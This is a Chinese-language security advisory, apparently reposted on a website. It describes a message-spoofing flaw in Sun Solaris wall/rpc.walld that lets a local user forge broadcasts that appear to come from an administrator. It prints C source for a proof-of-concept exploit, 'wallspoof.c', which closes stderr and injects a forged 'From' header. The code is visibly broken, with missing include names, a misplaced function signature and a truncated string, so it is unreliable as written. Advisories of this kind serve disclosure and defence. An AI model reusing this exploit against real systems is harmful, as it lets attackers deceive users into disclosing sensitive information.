涉及程序: Sun Solaris Wall 描述: Sun Solaris Wall 信息 来源 可 伪造 缺陷 详细: 在Solaris中,wall程序用于将一些 信息 广播到登陆到系统上的每一个用户。 守护进程RPC(rpc.walld)用来监听并接收远程主机的wall请求,当接收到wall请求时将调用 wall
涉及程序:
在Solaris中,wall程序用于将一些信息广播到登陆到系统上的每一个用户。
守护进程RPC(rpc.walld)用来监听并接收远程主机的wall请求,当接收到wall请求时将调用 wall 程序, 由wall将收到的讯息发送给分时系统(time-sharing system)上所有的终端机。wall区别于本地和远程用户请求消息是通过检查stderr文件描述符是否指向对应的tty。如果不是,wall程序将检查消息前5个字节是否为"From";如果是,下一个非空白字符必须为user@host形式。
恶意用户可在执行程序/usr/sbin/wall前通过简单关闭stderr,并发送一个伪造的"From"报头来伪造rpc.walld信息,使用户接收到此消息时,误以为是管理员发过来的信息。
攻击者可利用此缺陷通过发送伪造信息愚弄目标网络中普通用户,使他们信以为真而进行一些可能泄露敏感信息的行为。
受影响系统:
Sun Solaris Wall
- Sun Solaris 2.x 至 9.0
攻击方法:
/* int main(int argc, char **argv) http://sunsolve.sun.com/pub-cgi/show.pl?target=patches/patch-access
wallspoof.c - SOLARIS (X86/SPARC) Exploit
Don't use this in a malicious way! (i.e. to own people)
*/
#include
#include
#include
{
char *userhost;
char mesg[2050];
FILE *tmp;
if (argc < 2) {
?fprintf (stderr, "usage: wallspoof user@host\n");
?exit (-1);
}
userhost = argv[1];
if ((tmp = fopen("/tmp/rxax", "w")) == NULL) {
?perror ("open");
?exit (-1);
}
printf ("Enter your message below. End your message with an EOF (Control+D).\n");
fprintf (tmp, "From %s:", userhost);
while (fgets(mesg, 2050, stdin) != NULL)
?fprintf (tmp, "%s", mesg);
fclose (tmp);
fclose (stderr);
printf ("
system ("/usr/sbin/wall < /tmp/rxax");
unlink ("/tmp/rxax");
}
解决方案:
目前厂商还没有提供补丁或升级程序,建议用户随时关注厂商站点:
附加信息:
无
Copyright © 2019- sceh.cn 版权所有 湘ICP备2023017654号-4
违法及侵权请联系:TEL:199 1889 7713 E-MAIL:2724546146@qq.com
本站由北京市万商天勤律师事务所王兴未律师提供法律服务